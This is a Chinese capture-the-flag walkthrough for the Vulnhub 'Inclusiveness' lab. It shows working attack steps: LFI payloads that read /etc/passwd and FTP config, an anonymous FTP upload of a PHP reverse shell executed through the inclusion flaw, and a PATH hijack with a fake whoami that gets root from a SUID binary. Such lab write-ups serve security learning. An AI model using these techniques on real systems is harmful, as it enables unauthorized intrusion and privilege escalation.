渗透思路:

nmap扫描 ---- 绕过非搜索引擎(User-Agent头)过滤读取robots.txt ---- 利用LFI和ftp匿名上传文件getshell ---- C语言代码审计提权

环境信息:

靶机:192.168.101.83

攻击机:192.168.101.34

具体步骤:

1、nmap扫描

sudo nmap -sV -sC -p- 192.168.101.83

扫描到tcp端口21、22、80。

其中21端口ftp是可以匿名登录的,并且根目录下有一个可以写入的文件夹pub。这个文件夹下什么文件也没有,可能是后续需要写入一些文件。

2、绕过User-Agent头过滤

访问网站的robots.txt文件,发现提示说我不是搜索引擎所以不能读取robots.txt的内容

http://192.168.101.83/robots.txt

访问http://192.168.101.83/robots.txt的同时用burpsuite的proxy模块抓包,并将抓到的报文send to repeater

在repeater模块中修改请求报文的User-Agent头,修改为

User-Agent: GoogleBot

发送后,在响应报文中发现一个新目录/secret_information/

(修改User-Agent头还可以通过修改浏览器配置或者浏览器插件等方法)

3、利用LFI和ftp匿名上传getshell

浏览器中访问http://192.168.101.83/secret_information/,发现两个链接,english和spanish

点一下english,发现url变成了http://192.168.101.83/secret_information/?lang=en.php

lang的参数值是一个文件名,也许有文件包含漏洞。

尝试用浏览器访问http://192.168.101.83/secret_information/?lang=/etc/passwd

页面回显了/etc/passwd的内容,可以证实有LFI

后来在攻击机上起http服务,并尝试在此处包含攻击机上的文件,没有包含成功,看来没有RFI。

步骤1中已知有一个可以上传文件的ftp目录,可以往这个目录上传一个php反弹shell文件。

我上传的是kali自带的php反弹shell(/usr/share/webshells/php/php-reverse-shell.php),修改其中的$ip为攻击机ip,$port为攻击机nc监听端口。匿名登录靶机ftp(用户名anonymous,密码为空),并用put命令上传php反弹shell

ftp 192.168.101.83
anonymous
ftp> ls
ftp> cd pub
ftp> put php-reverse.php

先在反弹shell有了,要想利用本地文件包含漏洞执行php反弹shell的话,还得知道反弹shell所在系统路径。

由于在步骤1中nmap已经识别到ftp的版本是vsftpd 3.0.3,所以我一开始尝试利用LFI读取/etc/vsftpd/vsftpd.conf的内容,但是发现靶机上没有这个文件,于是我尝试将vsftpd这级目录去掉,也就是利用LFI访问/etc/vsftpd.conf,读取到了ftp的配置

http://192.168.101.83/secret_information/?lang=/etc/vsftpd.conf

查看网页源代码可以看得更清楚,配置文件拉到最下面,发现匿名用户登录的目录为/var/ftp

anon_root=/var/ftp/

浏览器访问:http://192.168.101.83/secret_information/?lang=/var/ftp/pub/php-reverse.php

得到靶机www-data用户的反弹shell

4、C语言代码审计提权

靶机shell中输入如下命令得到交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

输入如下命令查找系统中有suid权限的命令

find / -user root -perm /4000 2>/dev/null

发现一个可疑的:/home/tom/rootshell

执行一下试试,发现两行打印,看样子是要校验当前用户是否是tom,执行完之后用户还是www-data

checking if you are tom...

you are: www-data

想了很多办法提权到tom都没有可行的,最后/home/tom目录下一看,源代码rootshell.c是可读的

读了一下rootshell.c的内容,发现它是通过whoami这个命令来获取当前用户名的

那么我灵机一动,做个假的whoami命令让它返回tom不就行了。

于是我来到/tmp目录下,执行如下命令创建了一个假的whoami命令文件,并赋可执行权限

www-data@inclusiveness:/home/tom$ cd /tmp
www-data@inclusiveness:/tmp$ echo "echo 'tom'" > whoami
www-data@inclusiveness:/tmp$ chmod +x whoami

但光这样还是不够的,从下图中可以看到,执行whoami命令时返回的用户名还是www-data

还需要设置系统变量PATH,把/tmp放在最前面,这样执行命令的时候系统就会先在/tmp目录下找了

www-data@inclusiveness:/tmp$ PATH=/tmp:$PATH

现在再执行whoami,得到的就是tom了

最后,执行/home/tom/rootshell,得到root权限,并在/root目录下找到flag.txt

vulnhub inclusiveness: 1相关推荐

  1. 渗透测试靶机搭建_对vulnhub中Android4靶机渗透测试全过程!

    Android4靶机简介 名称:Android4 操作系统:Android v4.4 标志:/data/root/(在此目录中) 等级:初学者. 下载链接:Android4:https://downl ...

  2. Vulnhub靶机渗透之 RAVEN: 1

    目录 Description 网卡信息 信息收集 主机发现 主机存活扫描 端口扫描 网站信息 网站首页 nikto 报告 service 页面 wordpress 渗透过程 SSH 爆破 Hydr 命 ...

  3. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  4. 【Vulnhub靶机系列】DC2

    基本信息 Kali:192.168.61.145 DC2:192.168.61.162 实验过程 在Kali中先进行内网探活 sudo arp-scan --interface eth0 192.16 ...

  5. 【Vulnhub靶机系列】DC1

    基本信息 Kali: 192.168.56.116 DC1: 192.168.56.115 实验过程 先在Kali中使用arp-scan进行主机探活 sudo arp-scan --interface ...

  6. 利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞

    JBoss JMXInvokerServlet 反序列化漏洞 Vulnhub官方复现教程 漏洞原理 复现过程 启动环境 端口设置 浏览器设置 BurpSuit设置 复现漏洞 序列化数据生成 发送POC ...

  7. 靶场练习第二十二天~vulnhub靶场之Momentum-2

    一.准备工作 靶机下载地址:Momentum: 2 ~ VulnHub 1.查看kali的ip 使用命令ifconfig 2.使用nmap命令 nmap 192.168.101.0/24 查看开放的端 ...

  8. 靶场练习第二十五天~vulnhub靶场之Raven-2

    一.准备工作 kali和靶机都选择NAT模式(kali与靶机同网段) 1.靶场环境 下载链接:Raven: 2 ~ VulnHub 2.kali的ip 命令:ifconfig 3.靶机的ip 扫描靶机 ...

  9. 靶场练习第二十天~vulnhub靶场之Funbox: Scriptkiddie

    一.环境搭建 靶官网机下载地址:Funbox: Scriptkiddie ~ VulnHub 百度云盘下载链接: 百度网盘 请输入提取码 提取码: i4a9 二.信息收集 1.nmap命令扫描靶机 先 ...

最新文章

  1. 2019学习Python的10个原因
  2. GitHub star 7k+:史上最全图像分割资料集锦
  3. nyoj68三点顺序
  4. 万兆以太网测试仪应该具备的测试功能
  5. 子网划分,主机号,网络号计算
  6. mysql聚合索引跟非聚合索引的区别_聚集索引和非聚集索引的区别有哪些
  7. Safari中的代理设置(在【偏好设置中】)。
  8. redis集群出现JedisNoReachableClusterNodeException异常(No reachable node in cluster)
  9. 零基础学python图文版-杭州零基础学python图文版
  10. linux两台服务器间复制文件scp
  11. It技能图谱(13张)
  12. 2022保密教育线上培训考试参考答案 05
  13. Android 拍摄(横\竖屏)视频的懒人之路
  14. pyspark 数据框 更改大小写_英文字母大小写
  15. Go语言(Golang)的Web框架比较:gin VS echo
  16. 宝讯网捷:拼多多主图怎么加文字?
  17. 互联网并发与安全系列教程(07) - 常见的Web安全漏洞(其它漏洞)
  18. 任正非揭秘华为鸿蒙,任正非揭秘!华为鸿蒙系统,比安卓、苹果系统快,为物联网而生...
  19. Google Maps 图标
  20. sourcegraph/conc: Better structured concurrency for go

热门文章

  1. Adobe Creative Suite 3 下载(包括MAC版) 和 收集的一些资料
  2. 文件流方式导出Excel表格
  3. Unity鼠标左键控制物体
  4. 实现登陆功能——用户登录设计
  5. 麻雀如何变凤凰 by 网络雄猫
  6. 对于DCB的认识---GNSS 误差源
  7. 画圆形头像的简单画法
  8. 分布式记账的几种方式
  9. 【前端三件套——CSS基础】网页开发必备知识
  10. OneDrive配合OneIndex搭建自用网盘